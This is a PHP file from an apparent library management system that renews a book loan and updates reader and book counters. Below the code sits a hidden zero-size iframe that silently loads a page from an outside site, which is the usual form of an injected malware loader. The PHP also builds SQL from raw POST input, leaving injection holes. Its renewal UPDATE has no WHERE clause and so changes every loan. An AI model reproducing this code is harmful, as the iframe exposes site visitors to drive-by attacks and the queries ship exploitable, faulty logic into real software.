?? xjcl1.php
字號:
<?php //插入數據
include "../config.php";
?>
<?php
if(!empty($_POST[submit3]))
{
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];
$department=$_POST["department"];
$readername=$_POST["readername"];
$lenddate=date("Y-m-d");
$shoulddate=date("Y-m-d",strtotime("$lenddate + 14 day"));
//$sql="insert into bookmanagement.lendingbook(`id`,`no`,`bookname`,`category`,`department`,`readername`,`lenddate`,`shoulddate`)values(null,'$no','$bookname','$category','$department','$readername','$lenddate','$shoulddate')";
$sql="update lendingbook set shoulddate='$shoulddate'";
$result=mysql_query($sql) or die (mysql_error());
//修改讀者信息中的借書次數
$sql="update readerinfo set number=number+1 where readername='".$readername."'";
mysql_query($sql);
//修改圖書信息中的借出次數和狀態
$sql="update books set lendnumber=lendnumber+1,state='續借' where no='".$no."'";
mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('續借操作成功!');window.location.href='js.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -